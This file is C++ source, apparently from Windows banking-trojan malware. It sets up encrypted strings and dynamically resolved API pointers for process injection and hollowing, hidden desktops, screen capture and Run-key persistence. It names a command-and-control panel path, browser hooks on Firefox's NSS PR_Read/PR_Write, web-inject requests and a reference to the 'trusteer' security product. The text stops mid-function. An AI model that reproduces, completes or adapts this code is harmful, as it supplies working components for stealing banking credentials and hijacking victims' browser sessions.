#include "Api.h"
#include "Utils.h"

namespace Funcs
{
   Types::T_CloseHandle                    pCloseHandle;                          
   Types::T_MessageBox                     pMessageBoxA;
   Types::T_GetWindowsDirectory            pGetWindowsDirectoryA;
   Types::T_WideCharToMultiByte            pWideCharToMultiByte;
   Types::T_LocalAlloc                     pLocalAlloc;
   Types::T_wsprintf                       pWsprintfA;
   Types::T_MultiByteToWideChar            pMultiByteToWideChar;
   Types::T_malloc                         pMalloc;
   Types::T_free                           pFree;
   Types::T_VirtualAllocEx                 pVirtualAllocEx;
   Types::T_WriteProcessMemory             pWriteProcessMemory;
   Types::T_CreateRemoteThread             pCreateRemoteThread;
   Types::T_LoadLibrary                    pLoadLibraryA;
   Types::T_GetProcAddress                 pGetProcAddress;
   Types::T_PathRemoveFileSpec             pPathRemoveFileSpecA;
   Types::T_GetModuleFileName              pGetModuleFileNameA;
   Types::T_PathFindFileName               pPathFindFileNameA;
   Types::T_strncmp                        pStrncmp;
   Types::T_strncmp                        pStrnicmp;
   Types::T_lstrlen                        pLstrlenA;
   Types::T_ExitProcess                    pExitProcess;
   Types::T_SHGetFolderPath                pSHGetFolderPathA;
   Types::T_lstrcpy                        pLstrcpyA;
   Types::T_lstrcat                        pLstrcatA;
   Types::T_CopyFile                       pCopyFileA;
   Types::T_GetVolumeInformation           pGetVolumeInformationA;
   Types::T_GetUserNameEx                  pGetUserNameExA;
   Types::T_LookupAccountName              pLookupAccountNameA;
   Types::T_ConvertSidToStringSid          pConvertSidToStringSidA;
   Types::T_LocalFree                      pLocalFree;
   Types::T_memcpy                         pMemcpy;
   Types::T_lstrcmp                        pLstrcmpiA;
   Types::T_lstrcmp                        pLstrcmpA;
   Types::T_StrStr                         pStrStrA;
   Types::T_StrStr                         pStrStrIA;
   Types::T_strtol                         pStrtol;
   Types::T_realloc                        pRealloc;
   Types::T_WSAStartup                     pWSAStartup;
   Types::T_socket                         pSocket;
   Types::T_gethostbyname                  pGethostbyname;
   Types::T_htons                          pHtons;
   Types::T_connect                        pConnect;
   Types::T_send                           pSend;
   Types::T_recv                           pRecv;
   Types::T_closesocket                    pClosesocket;
   Types::T_WSACleanup                     pWSACleanup;
   Types::T_memset                         pMemset;
   Types::T_Sleep                          pSleep;
   Types::T_NtOpenKey                      pNtOpenKey;
   Types::T_NtSetValueKey                  pNtSetValueKey;
   Types::T_RtlCreateUserThread            pRtlCreateUserThread;
   Types::T_CreateProcess                  pCreateProcessA;
   Types::T_InitializeCriticalSection      pInitializeCriticalSection;
   Types::T_LeaveCriticalSection           pLeaveCriticalSection;
   Types::T_EnterCriticalSection           pEnterCriticalSection;
   Types::T_GetLastError                   pGetLastError;
   Types::T_errno                          pErrno;
   Types::T_tolower                        pTolower;
   Types::T_isdigit                        pIsdigit;
   Types::T_strtoul                        pStrtoul;
   Types::T_isxdigit                       pIsxdigit;
   Types::T_strtod                         pStrtod;
   Types::T_CreateToolhelp32Snapshot       pCreateToolhelp32Snapshot;
   Types::T_Process32First                 pProcess32First;
   Types::T_Process32Next                  pProcess32Next;
   Types::T_StrChr                         pStrChrA;
   Types::T_StrToInt                       pStrToIntA;
   Types::T_GetModuleHandle                pGetModuleHandleA;
   Types::T_GetFileVersionInfoSize         pGetFileVersionInfoSizeA;
   Types::T_GetFileVersionInfo             pGetFileVersionInfoA;
   Types::T_VerQueryValue                  pVerQueryValueA;
   Types::T_GetModuleInformation           pGetModuleInformation;
   Types::T_memcmp                         pMemcmp;
   Types::T_ExpandEnvironmentStrings       pExpandEnvironmentStringsA;
   Types::T_GetPrivateProfileSectionNames  pGetPrivateProfileSectionNamesA;
   Types::T_GetPrivateProfileString        pGetPrivateProfileStringA;
   Types::T_CreateFile                     pCreateFileA;
   Types::T_ReadFile                       pReadFile;
   Types::T_WriteFile                      pWriteFile;
   Types::T_RegSetValueEx                  pRegSetValueExA;
   Types::T_RegOpenKeyEx                   pRegOpenKeyExA;
   Types::T_RegCloseKey                    pRegCloseKey;
   Types::T_GetFileSize                    pGetFileSize;
   Types::T_ResumeThread                   pResumeThread;
   Types::T_IsWow64Process                 pIsWow64Process;
   Types::T_GetNativeSystemInfo            pGetNativeSystemInfo;
   Types::T_OpenProcess                    pOpenProcess;
   Types::T_CreateThread                   pCreateThread;
   Types::T_GetUserName                    pGetUserNameW;
   Types::T_GetComputerName                pGetComputerNameW;
   Types::T_GetVersionEx                   pGetVersionExA;
   Types::T_CreateNamedPipe                pCreateNamedPipeA;
   Types::T_ConnectNamedPipe               pConnectNamedPipe;
   Types::T_DisconnectNamedPipe            pDisconnectNamedPipe;
   Types::T_InternetCrackUrl               pInternetCrackUrlA;
   Types::T_GetTempPath                    pGetTempPathA;
   Types::T_GetTempFileName                pGetTempFileNameA;
   Types::T_ShellExecute                   pShellExecuteA;
   Types::T_ioctlsocket                    pIoctlsocket;
   Types::T_ntohs                          pNtohs;
   Types::T_CreateMutex                    pCreateMutexA;
   Types::T_ReleaseMutex                   pReleaseMutex;
   Types::T_NtCreateThreadEx               pNtCreateThreadEx;
   Types::T_TerminateProcess               pTerminateProcess;
   Types::T_FindWindow                     pFindWindowA;
   Types::T_GetWindowThreadProcessId       pGetWindowThreadProcessId;
   Types::T_WaitForSingleObject            pWaitForSingleObject;
   Types::T_EnumWindows                    pEnumWindows;
   Types::T_GetCurrentProcessId            pGetCurrentProcessId;
   Types::T_DeleteFile                     pDeleteFileA;
   Types::T_PathFileExists                 pPathFileExistsA;
   Types::T_CreateDirectory                pCreateDirectoryA;
   Types::T_HttpQueryInfo                  pHttpQueryInfoA;
   Types::T_HttpQueryInfo                  pHttpQueryInfoW;
   Types::T_RtlCompressBuffer              pRtlCompressBuffer;
   Types::T_RtlGetCompressionWorkSpaceSize pRtlGetCompressionWorkSpaceSize;
   Types::T_SetThreadDesktop               pSetThreadDesktop;
   Types::T_CreateDesktop                  pCreateDesktopA;
   Types::T_OpenDesktop                    pOpenDesktopA;
   Types::T_TerminateThread                pTerminateThread;
   Types::T_PostMessage                    pPostMessageA;
   Types::T_PostMessage                    pSendMessageA;
   Types::T_ChildWindowFromPoint           pChildWindowFromPoint;
   Types::T_ScreenToClient                 pScreenToClient;
   Types::T_MoveWindow                     pMoveWindow;
   Types::T_GetWindowRect                  pGetWindowRect;
   Types::T_GetMenuItemID                  pGetMenuItemID;
   Types::T_MenuItemFromPoint              pMenuItemFromPoint;
   Types::T_RealGetWindowClass             pRealGetWindowClassA;
   Types::T_PtInRect                       pPtInRect;
   Types::T_GetWindowPlacement             pGetWindowPlacement;
   Types::T_SetWindowLong                  pSetWindowLongA;
   Types::T_GetWindowLong                  pGetWindowLongA;
   Types::T_WindowFromPoint                pWindowFromPoint;
   Types::T_SHAppBarMessage                pSHAppBarMessage;
   Types::T_RegQueryValueEx                pRegQueryValueExA;
   Types::T_GetDesktopWindow               pGetDesktopWindow;
   Types::T_DeleteDC                       pDeleteDC;
   Types::T_ReleaseDC                      pReleaseDC;
   Types::T_DeleteObject                   pDeleteObject;
   Types::T_GetDIBits                      pGetDIBits;
   Types::T_StretchBlt                     pStretchBlt;
   Types::T_SetStretchBltMode              pSetStretchBltMode;
   Types::T_SelectObject                   pSelectObject;
   Types::T_CreateCompatibleDC             pCreateCompatibleDC;
   Types::T_CreateCompatibleBitmap         pCreateCompatibleBitmap;
   Types::T_GetDC                          pGetDC;
   Types::T_IsWindowVisible                pIsWindowVisible;
   Types::T_GetWindow                      pGetWindow;
   Types::T_BitBlt                         pBitBlt;
   Types::T_PrintWindow                    pPrintWindow;
   Types::T_GetTopWindow                   pGetTopWindow;
   Types::T_NtUnmapViewOfSection           pNtUnmapViewOfSection;
   Types::T_NtQueryInformationProcess      pNtQueryInformationProcess;
   Types::T_GetThreadContext               pGetThreadContext;
   Types::T_SetThreadContext               pSetThreadContext;
   Types::T_SHFileOperation                pSHFileOperationA;
   Types::T_FindFirstFile                  pFindFirstFileA;
   Types::T_FindNextFile                   pFindNextFileA;
};

namespace Strs
{
   //server
   char *host[128];
   char *path;
   //dlls
   char *user32;
   char *kernelBase;
   char *kernel32;
   char *msvcrt;
   char *ntdll;
   char *shlwapi;
   char *shell32;
   char *secur32;
   char *advapi32;
   char *ws2_32;
   char *version;
   char *psapi;
   char *wininet;
   char *gdi32;

   wchar_t *wKernelBase;
   wchar_t *wKernel32;
   wchar_t *wNtdll;
   wchar_t *wWininet;
   //funcs
   char *messageBoxA;
   char *getWindowsDirectoryA;
   char *wideCharToMultiByte;
   char *localAlloc;
   char *wsprintfA;
   char *multiByteToWideChar;
   char *malloc;
   char *free;
   char *virtualAllocEx;
   char *writeProcessMemory;
   char *createRemoteThread;
   char *loadLibraryA;
   char *getProcAddress;
   char *pathRemoveFileSpecA;
   char *getModuleFileNameA;    
   char *pathFindFileNameA;
   char *strncmp;
   char *strnicmp;
   char *lstrlenA;
   char *exitProcess;
   char *shGetFolderPathA;
   char *lstrcpyA;
   char *lstrcatA;
   char *copyFileA;
   char *getVolumeInformationA;
   char *getUserNameExA;
   char *lookupAccountNameA;
   char *convertSidToStringSidA; 
   char *localFree;
   char *memcpy;
   char *lstrcmpiA;
   char *lstrcmpA;
   char *strStrA;
   char *strStrIA;
   char *strtol;
   char *realloc;
   char *wsaStartup;
   char *socket;
   char *gethostbyname;
   char *htons;
   char *connect;
   char *send;
   char *recv;
   char *closesocket;
   char *wsaCleanup;
   char *memset;
   char *sleep;
   char *ntOpenKey;
   char *ntSetValueKey;
   char *closeHandle;
   char *createProcessA;
   char *enterCriticalSection;
   char *leaveCriticalSection;
   char *getLastError;
   char *initializeCriticalSection;
   char *_errNo;
   char *toLower;
   char *isDigit;
   char *strToul;
   char *isXdigit;
   char *strTod;
   char *createToolhelp32Snapshot;
   char *process32First;
   char *process32Next;
   char *strChrA;
   char *strToIntA;
   char *getModuleHandleA;
   char *getFileVersionInfoSizeA;
   char *getFileVersionInfoA;
   char *verQueryValueA;
   char *getModuleInformation;
   char *memcmp;
   char *expandEnvironmentStringsA;
   char *getPrivateProfileSectionNamesA;
   char *getPrivateProfileStringA;
   char *createFileA;
   char *readFile;
   char *writeFile;
   char *regSetValueExA;
   char *regOpenKeyExA;
   char *regCloseKey;
   char *getFileSize;
   char *resumeThread;
   char *isWow64Process;
   char *getNativeSystemInfo;
   char *openProcess;
   char *createThread;
   char *getUserNameW;
   char *getComputerNameW;
   char *getVersionExA;
   char *createNamedPipeA;
   char *connectNamedPipe;
   char *disconnectNamedPipe;
   char *internetCrackUrlA;
   char *getTempPathA;
   char *getTempFileNameA;
   char *shellExecuteA;
   char *ioctlsocket;
   char *ntohs;
   char *createMutexA;
   char *releaseMutex;
   char *ntCreateThreadEx;
   char *terminateProcess;
   char *findWindowA;
   char *getWindowThreadProcessId;
   char *waitForSingleObject;
   char *enumWindows;
   char *getCurrentProcessId;
   char *deleteFileA;
   char *pathFileExistsA;
   char *createDirectoryA;
   char *httpQueryInfoA;
   char *httpQueryInfoW;
   char *rtlCompressBuffer;
   char *rtlGetCompressionWorkSpaceSize;
   char *setThreadDesktop;
   char *createDesktopA;
   char *openDesktopA;
   char *terminateThread;
   char *postMessageA;
   char *sendMessageA;
   char *childWindowFromPoint;
   char *screenToClient;
   char *moveWindow;
   char *getWindowRect;
   char *getMenuItemID;
   char *menuItemFromPoint;
   char *realGetWindowClassA;
   char *ptInRect;
   char *getWindowPlacement;
   char *setWindowLongA;
   char *getWindowLongA;
   char *windowFromPoint;
   char *shAppBarMessage;
   char *regQueryValueExA;
   char *getDesktopWindow;
   char *deleteDc;
   char *releaseDc;
   char *deleteObject;
   char *getDiBits;
   char *stretchBlt;
   char *setStretchBltMode;
   char *selectObject;
   char *createCompatibleDc;
   char *createCompatibleBitmap;
   char *getDc;
   char *isWindowVisible;
   char *getWindow;
   char *bitBlt;
   char *printWindow;
   char *getTopWindow;
   char *ntUnmapViewOfSection;
   char *ntQueryInformationProcess;
   char *getThreadContext;
   char *setThreadContext;
   char *shFileOperationA;
   char *findFirstFileA;
   char *findNextFileA;

   char *rtlInitAnsiString;           
   char *rtlAnsiStringToUnicodeString;     
   char *ldrLoadDll;
   char *ldrGetProcedureAddress;
   char *rtlFreeUnicodeString;
   char *rtlCreateUserThread;                                                  
   //misc
   char *helloWorld;
   char *exeExt;
   char *fileDiv;
   char *postSpace;
   char *getSpace;
   char *httpReq1;
   char *httpReq2;
   char *httpReq3;
   char *httpReq4;
   char *httpReq5;
   char *httpReq6;
   char *httpReq7;
   char *httpReq8;
   char *httpReq9;
   char *sprintfIntEscape;
   char *winNewLine;
   char *ntRegPath;
   char *userRunKey;
   char *dllhostExe;
   char *pingRequest;
   char *dll32binRequest;
   char *dll64binRequest;
   char *explorerExe;
   char *firefoxExe;
   char *chromeExe;
   char *iexploreExe;
   char *injectsRequest;
   char *chromeName;
   char *firefoxName;
   char *ieName;
   char *chromeDll;
   char *nss3dll;
   char *nspr4dll;
   char *prRead;
   char *prWrite;
   char *rdata;
   char *fc1;
   char *fc2;
   char *fc3;
   char *fc4;
   char *fc5;
   char *fc6;
   char *fc7;
   char *fc8;
   char *fc9;
   char *fc10;
   char *fc11;
   char *fc12;
   char *headersEnd;
   char *bu1;
   char *bu2;
   char *bu3;
   char *bu4;
   char *bu5;
   char *ie1;
   char *ie2;
   char *ie3;
   char *ie4;
   char *ie5;
   char *ie6;
   char *ie7;
   char *ie8;
   char *ie9;
   char *ie10;
   char *ie11;
   char *exp1;
   char *exp2;
   char *exp3;
   char *exp4;
   char *exp5;
   char *exp6;
   char *exp7;
   char *exp8;
   char *exp9;
   char *exp10;
   char *exp11;
   char *exp12;
   char *exp13;
   char *exp14;
   char *exp15;
   char *exp16;
   char *exp17;
   char *exp18;
   char *exp19;
   char *exp20;
   char *exp21;
   char *exp22;
   char *exp23;
   char *exp24;
   char *exp25;
   char *hd1;
   char *hd2;
   char *hd3;
   char *hd4;
   char *hd5;
   char *hd6;
   char *hd7;
   char *hd8;
   char *hd9;
   char *hd10;
   char *hd11;
   char *hd12;
   char *hd13;
   char *hd14;
   char *hd15;
   char *infoRequest;
   char *pipeName;
   char *open;
   char *hi;
   char *shell_TrayWnd;
   char *verclsidExe;
   char *dll32cachePrefix;
   char *dll64cachePrefix;
   char *loaderDllName;
   char *zoneId;
   char *trusteer;

   wchar_t *wNss3dll;
   wchar_t *wNspr4dll;
};

void InitApi()
{
   //server
   Strs::host[0] = ENC_STR_A"127.0.0.1"END_ENC_STR;
   Strs::host[1] = 0;

   Strs::path = ENC_STR_A"/panel/client.php"END_ENC_STR;
   //dlls
   Strs::user32     = ENC_STR_A"User32.dll"END_ENC_STR;
   Strs::kernel32   = ENC_STR_A"Kernel32.dll"END_ENC_STR;
   Strs::kernelBase = ENC_STR_A"KernelBase.dll"END_ENC_STR;
   Strs::msvcrt     = ENC_STR_A"msvcrt.dll"END_ENC_STR;
   Strs::ntdll      = ENC_STR_A"ntdll.dll"END_ENC_STR;
   Strs::shlwapi    = ENC_STR_A"Shlwapi.dll"END_ENC_STR;
   Strs::shell32    = ENC_STR_A"Shell32.dll"END_ENC_STR;
   Strs::secur32    = ENC_STR_A"Secur32.dll"END_ENC_STR;
   Strs::advapi32   = ENC_STR_A"Advapi32.dll"END_ENC_STR;
   Strs::ws2_32     = ENC_STR_A"ws2_32.dll"END_ENC_STR;
   Strs::version    = ENC_STR_A"version.dll"END_ENC_STR;
   Strs::psapi      = ENC_STR_A"Psapi.dll"END_ENC_STR;
   Strs::wininet    = ENC_STR_A"wininet.dll"END_ENC_STR;
   Strs::gdi32      = ENC_STR_A"gdi32.dll"END_ENC_STR;

   //funcs
   Strs::messageBoxA               = ENC_STR_A"MessageBoxA"END_ENC_STR;
   Strs::getWindowsDirectoryA      = ENC_STR_A"GetWindowsDirectoryA"END_ENC_STR;
   Strs::wideCharToMultiByte       = ENC_STR_A"WideCharToMultiByte"END_ENC_STR;
   Strs::localAlloc                = ENC_STR_A"LocalAlloc"END_ENC_STR;
   Strs::wsprintfA                 = ENC_STR_A"wsprintfA"END_ENC_STR;
   Strs::multiByteToWideChar       = ENC_STR_A"MultiByteToWideChar"END_ENC_STR;
   Strs::malloc                    = ENC_STR_A"malloc"END_ENC_STR;
   Strs::free                      = ENC_STR_A"free"END_ENC_STR;
   Strs::virtualAllocEx            = ENC_STR_A"VirtualAllocEx"END_ENC_STR;
   Strs::writeProcessMemory        = ENC_STR_A"WriteProcessMemory"END_ENC_STR;
   Strs::createRemoteThread        = ENC_STR_A"CreateRemoteThread"END_ENC_STR;
   Strs::loadLibraryA              = ENC_STR_A"LoadLibraryA"END_ENC_STR;
   Strs::getProcAddress            = ENC_STR_A"GetProcAddress"END_ENC_STR;
   Strs::pathRemoveFileSpecA       = ENC_STR_A"PathRemoveFileSpecA"END_ENC_STR;
   Strs::getModuleFileNameA        = ENC_STR_A"GetModuleFileNameA"END_ENC_STR;
   Strs::pathFindFileNameA         = ENC_STR_A"PathFindFileNameA"END_ENC_STR;
   Strs::strncmp                   = ENC_STR_A"strncmp"END_ENC_STR;
   Strs::strnicmp                  = ENC_STR_A"_strnicmp"END_ENC_STR;
   Strs::lstrlenA                  = ENC_STR_A"lstrlenA"END_ENC_STR;
   Strs::exitProcess               = ENC_STR_A"ExitProcess"END_ENC_STR;
   Strs::shGetFolderPathA          = ENC_STR_A"SHGetFolderPathA"END_ENC_STR;
   Strs::lstrcpyA                  = ENC_STR_A"lstrcpyA"END_ENC_STR;
   Strs::lstrcatA                  = ENC_STR_A"lstrcatA"END_ENC_STR;
   Strs::copyFileA                 = ENC_STR_A"CopyFileA"END_ENC_STR;
   Strs::getVolumeInformationA     = ENC_STR_A"GetVolumeInformationA"END_ENC_STR;
   Strs::getUserNameExA            = ENC_STR_A"GetUserNameExA"END_ENC_STR;
   Strs::lookupAccountNameA        = ENC_STR_A"LookupAccountNameA"END_ENC_STR;
   Strs::convertSidToStringSidA    = ENC_STR_A"ConvertSidToStringSidA"END_ENC_STR;
   Strs::localFree                 = ENC_STR_A"LocalFree"END_ENC_STR;
   Strs::malloc                    = ENC_STR_A"malloc"END_ENC_STR;
   Strs::lstrcmpiA                 = ENC_STR_A"lstrcmpiA"END_ENC_STR;
   Strs::lstrcmpA                  = ENC_STR_A"lstrcmpA"END_ENC_STR;
   Strs::strStrA                   = ENC_STR_A"StrStrA"END_ENC_STR;
   Strs::strStrIA                  = ENC_STR_A"StrStrIA"END_ENC_STR;
   Strs::strtol                    = ENC_STR_A"strtol"END_ENC_STR;
   Strs::realloc                   = ENC_STR_A"realloc"END_ENC_STR;
   Strs::wsaStartup                = ENC_STR_A"WSAStartup"END_ENC_STR;
   Strs::socket                    = ENC_STR_A"socket"END_ENC_STR;
   Strs::gethostbyname             = ENC_STR_A"gethostbyname"END_ENC_STR;
   Strs::htons                     = ENC_STR_A"htons"END_ENC_STR;
   Strs::connect                   = ENC_STR_A"connect"END_ENC_STR;
   Strs::send                      = ENC_STR_A"send"END_ENC_STR;
   Strs::recv                      = ENC_STR_A"recv"END_ENC_STR;
   Strs::closesocket               = ENC_STR_A"closesocket"END_ENC_STR;
   Strs::wsaCleanup                = ENC_STR_A"WSACleanup"END_ENC_STR;
   Strs::memset                    = ENC_STR_A"memset"END_ENC_STR;
   Strs::memcpy                    = ENC_STR_A"memcpy"END_ENC_STR;
   Strs::sleep                     = ENC_STR_A"Sleep"END_ENC_STR;
   Strs::ntOpenKey                 = ENC_STR_A"NtOpenKey"END_ENC_STR;
   Strs::ntSetValueKey             = ENC_STR_A"NtSetValueKey"END_ENC_STR;
   Strs::closeHandle               = ENC_STR_A"CloseHandle"END_ENC_STR;
   Strs::createProcessA            = ENC_STR_A"CreateProcessA"END_ENC_STR;
   Strs::ntCreateThreadEx          = ENC_STR_A"NtCreateThreadEx"END_ENC_STR;
   Strs::terminateProcess          = ENC_STR_A"TerminateProcess"END_ENC_STR;
   Strs::findWindowA               = ENC_STR_A"FindWindowA"END_ENC_STR;
   Strs::ntUnmapViewOfSection      = ENC_STR_A"NtUnmapViewOfSection"END_ENC_STR;
   Strs::ntQueryInformationProcess = ENC_STR_A"NtQueryInformationProcess"END_ENC_STR;
   Strs::getThreadContext          = ENC_STR_A"GetThreadContext"END_ENC_STR;
   Strs::setThreadContext          = ENC_STR_A"SetThreadContext"END_ENC_STR;
   Strs::shFileOperationA          = ENC_STR_A"SHFileOperationA"END_ENC_STR;
   Strs::findFirstFileA            = ENC_STR_A"FindFirstFileA"END_ENC_STR;
   Strs::findNextFileA             = ENC_STR_A"FindNextFileA"END_ENC_STR;

   Strs::getWindowThreadProcessId = ENC_STR_A"GetWindowThreadProcessId"END_ENC_STR;

   Strs::initializeCriticalSection = ENC_STR_A"InitializeCriticalSection"END_ENC_STR;
   Strs::getLastError              = ENC_STR_A"GetLastError"END_ENC_STR;
   Strs::enterCriticalSection      = ENC_STR_A"EnterCriticalSection"END_ENC_STR;
   Strs::leaveCriticalSection      = ENC_STR_A"LeaveCriticalSection"END_ENC_STR;

   Strs::_errNo                    = ENC_STR_A"_errno"END_ENC_STR;
   Strs::toLower                   = ENC_STR_A"tolower"END_ENC_STR;
   Strs::isDigit                   = ENC_STR_A"isdigit"END_ENC_STR;
   Strs::strToul                   = ENC_STR_A"strtoul"END_ENC_STR;
   Strs::isXdigit                  = ENC_STR_A"isxdigit"END_ENC_STR;
   Strs::strTod                    = ENC_STR_A"strtod"END_ENC_STR;

   Strs::createToolhelp32Snapshot  = ENC_STR_A"CreateToolhelp32Snapshot"END_ENC_STR;
   Strs::process32First            = ENC_STR_A"Process32First"END_ENC_STR;
   Strs::process32Next             = ENC_STR_A"Process32Next"END_ENC_STR;
   Strs::strChrA                   = ENC_STR_A"StrChrA"END_ENC_STR;
   Strs::strToIntA                 = ENC_STR_A"StrToIntA"END_ENC_STR;
   Strs::getModuleHandleA          = ENC_STR_A"GetModuleHandleA"END_ENC_STR;
   Strs::getFileVersionInfoSizeA   = ENC_STR_A"GetFileVersionInfoSizeA"END_ENC_STR;
   Strs::getFileVersionInfoA       = ENC_STR_A"GetFileVersionInfoA"END_ENC_STR;
   Strs::verQueryValueA            = ENC_STR_A"VerQueryValueA"END_ENC_STR;
   Strs::getModuleInformation      = ENC_STR_A"GetModuleInformation"END_ENC_STR;
   Strs::memcmp                    = ENC_STR_A"memcmp"END_ENC_STR;

   Strs::expandEnvironmentStringsA      = ENC_STR_A"ExpandEnvironmentStringsA"END_ENC_STR;
   Strs::getPrivateProfileSectionNamesA = ENC_STR_A"GetPrivateProfileSectionNamesA"END_ENC_STR;
   Strs::getPrivateProfileStringA       = ENC_STR_A"GetPrivateProfileStringA"END_ENC_STR;
   Strs::createFileA                    = ENC_STR_A"CreateFileA"END_ENC_STR;
   Strs::readFile                       = ENC_STR_A"ReadFile"END_ENC_STR;
   Strs::writeFile                      = ENC_STR_A"WriteFile"END_ENC_STR;
   Strs::regSetValueExA                 = ENC_STR_A"RegSetValueExA"END_ENC_STR;
   Strs::regOpenKeyExA                  = ENC_STR_A"RegOpenKeyExA"END_ENC_STR;
   Strs::regCloseKey                    = ENC_STR_A"RegCloseKey"END_ENC_STR;
   Strs::getFileSize                    = ENC_STR_A"GetFileSize"END_ENC_STR;
   Strs::resumeThread                   = ENC_STR_A"ResumeThread"END_ENC_STR;
   Strs::isWow64Process                 = ENC_STR_A"IsWow64Process"END_ENC_STR;
   Strs::getNativeSystemInfo            = ENC_STR_A"GetNativeSystemInfo"END_ENC_STR;
   Strs::openProcess                    = ENC_STR_A"OpenProcess"END_ENC_STR;
   Strs::createThread                   = ENC_STR_A"CreateThread"END_ENC_STR;
   Strs::getUserNameW                   = ENC_STR_A"GetUserNameW"END_ENC_STR;
   Strs::getComputerNameW               = ENC_STR_A"GetComputerNameW"END_ENC_STR;
   Strs::getVersionExA                  = ENC_STR_A"GetVersionExA"END_ENC_STR;
   Strs::createNamedPipeA               = ENC_STR_A"CreateNamedPipeA"END_ENC_STR;
   Strs::connectNamedPipe               = ENC_STR_A"ConnectNamedPipe"END_ENC_STR;
   Strs::disconnectNamedPipe            = ENC_STR_A"DisconnectNamedPipe"END_ENC_STR;
   Strs::internetCrackUrlA              = ENC_STR_A"InternetCrackUrlA"END_ENC_STR;
   Strs::getTempPathA                   = ENC_STR_A"GetTempPathA"END_ENC_STR;
   Strs::getTempFileNameA               = ENC_STR_A"GetTempFileNameA"END_ENC_STR;
   Strs::shellExecuteA                  = ENC_STR_A"ShellExecuteA"END_ENC_STR;
   Strs::ioctlsocket                    = ENC_STR_A"ioctlsocket"END_ENC_STR;
   Strs::ntohs                          = ENC_STR_A"ntohs"END_ENC_STR;
   Strs::createMutexA                   = ENC_STR_A"CreateMutexA"END_ENC_STR;
   Strs::releaseMutex                   = ENC_STR_A"ReleaseMutex"END_ENC_STR;
   Strs::waitForSingleObject            = ENC_STR_A"WaitForSingleObject"END_ENC_STR;
   Strs::enumWindows                    = ENC_STR_A"EnumWindows"END_ENC_STR;
   Strs::getCurrentProcessId            = ENC_STR_A"GetCurrentProcessId"END_ENC_STR;
   Strs::deleteFileA                    = ENC_STR_A"DeleteFileA"END_ENC_STR;
   Strs::pathFileExistsA                = ENC_STR_A"PathFileExistsA"END_ENC_STR;
   Strs::createDirectoryA               = ENC_STR_A"CreateDirectoryA"END_ENC_STR;
   Strs::httpQueryInfoA                 = ENC_STR_A"HttpQueryInfoA"END_ENC_STR;
   Strs::httpQueryInfoW                 = ENC_STR_A"HttpQueryInfoW"END_ENC_STR;
   Strs::rtlCompressBuffer              = ENC_STR_A"RtlCompressBuffer"END_ENC_STR;
   Strs::rtlGetCompressionWorkSpaceSize = ENC_STR_A"RtlGetCompressionWorkSpaceSize"END_ENC_STR;
   Strs::setThreadDesktop               = ENC_STR_A"SetThreadDesktop"END_ENC_STR;
   Strs::createDesktopA                 = ENC_STR_A"CreateDesktopA"END_ENC_STR;
   Strs::openDesktopA                   = ENC_STR_A"OpenDesktopA"END_ENC_STR;
   Strs::terminateThread                = ENC_STR_A"TerminateThread"END_ENC_STR;
   Strs::postMessageA                   = ENC_STR_A"PostMessageA"END_ENC_STR;
   Strs::sendMessageA                   = ENC_STR_A"SendMessageA"END_ENC_STR;
   Strs::childWindowFromPoint           = ENC_STR_A"ChildWindowFromPoint"END_ENC_STR;
   Strs::screenToClient                 = ENC_STR_A"ScreenToClient"END_ENC_STR;
   Strs::moveWindow                     = ENC_STR_A"MoveWindow"END_ENC_STR;
   Strs::getWindowRect                  = ENC_STR_A"GetWindowRect"END_ENC_STR;
   Strs::getMenuItemID                  = ENC_STR_A"GetMenuItemID"END_ENC_STR;
   Strs::menuItemFromPoint              = ENC_STR_A"MenuItemFromPoint"END_ENC_STR;
   Strs::realGetWindowClassA            = ENC_STR_A"RealGetWindowClassA"END_ENC_STR;
   Strs::ptInRect                       = ENC_STR_A"PtInRect"END_ENC_STR;
   Strs::getWindowPlacement             = ENC_STR_A"GetWindowPlacement"END_ENC_STR;
   Strs::setWindowLongA                 = ENC_STR_A"SetWindowLongA"END_ENC_STR;
   Strs::getWindowLongA                 = ENC_STR_A"GetWindowLongA"END_ENC_STR;
   Strs::windowFromPoint                = ENC_STR_A"WindowFromPoint"END_ENC_STR;
   Strs::shAppBarMessage                = ENC_STR_A"SHAppBarMessage"END_ENC_STR;
   Strs::regQueryValueExA               = ENC_STR_A"RegQueryValueExA"END_ENC_STR;
   Strs::getDesktopWindow               = ENC_STR_A"GetDesktopWindow"END_ENC_STR;
   Strs::deleteDc                       = ENC_STR_A"DeleteDC"END_ENC_STR;
   Strs::releaseDc                      = ENC_STR_A"ReleaseDC"END_ENC_STR;
   Strs::deleteObject                   = ENC_STR_A"DeleteObject"END_ENC_STR;
   Strs::getDiBits                      = ENC_STR_A"GetDIBits"END_ENC_STR;
   Strs::stretchBlt                     = ENC_STR_A"StretchBlt"END_ENC_STR;
   Strs::setStretchBltMode              = ENC_STR_A"SetStretchBltMode"END_ENC_STR;
   Strs::selectObject                   = ENC_STR_A"SelectObject"END_ENC_STR;
   Strs::createCompatibleDc             = ENC_STR_A"CreateCompatibleDC"END_ENC_STR;
   Strs::createCompatibleBitmap         = ENC_STR_A"CreateCompatibleBitmap"END_ENC_STR;
   Strs::getDc                          = ENC_STR_A"GetDC"END_ENC_STR;
   Strs::isWindowVisible                = ENC_STR_A"IsWindowVisible"END_ENC_STR;
   Strs::getWindow                      = ENC_STR_A"GetWindow"END_ENC_STR;
   Strs::printWindow                    = ENC_STR_A"PrintWindow"END_ENC_STR;
   Strs::getTopWindow                   = ENC_STR_A"GetTopWindow"END_ENC_STR;

   Strs::rtlInitAnsiString            = ENC_STR_A"RtlInitAnsiString"END_ENC_STR;           
   Strs::rtlAnsiStringToUnicodeString = ENC_STR_A"RtlAnsiStringToUnicodeString"END_ENC_STR;     
   Strs::ldrLoadDll                   = ENC_STR_A"LdrLoadDll"END_ENC_STR;
   Strs::ldrGetProcedureAddress       = ENC_STR_A"LdrGetProcedureAddress"END_ENC_STR;
   Strs::rtlFreeUnicodeString         = ENC_STR_A"RtlFreeUnicodeString"END_ENC_STR;
   Strs::rtlCreateUserThread          = ENC_STR_A"RtlCreateUserThread"END_ENC_STR;

   //misc
   Strs::helloWorld        = ENC_STR_A"Hello World"END_ENC_STR;
   Strs::exeExt            = ENC_STR_A".exe"END_ENC_STR;
   Strs::fileDiv           = ENC_STR_A"\\"END_ENC_STR;

   Strs::postSpace         = ENC_STR_A"POST "END_ENC_STR;
   Strs::getSpace          = ENC_STR_A"GET "END_ENC_STR;
   Strs::httpReq1          = ENC_STR_A" HTTP/1.1\r\n"END_ENC_STR;
   Strs::httpReq2          = ENC_STR_A"Host: "END_ENC_STR;
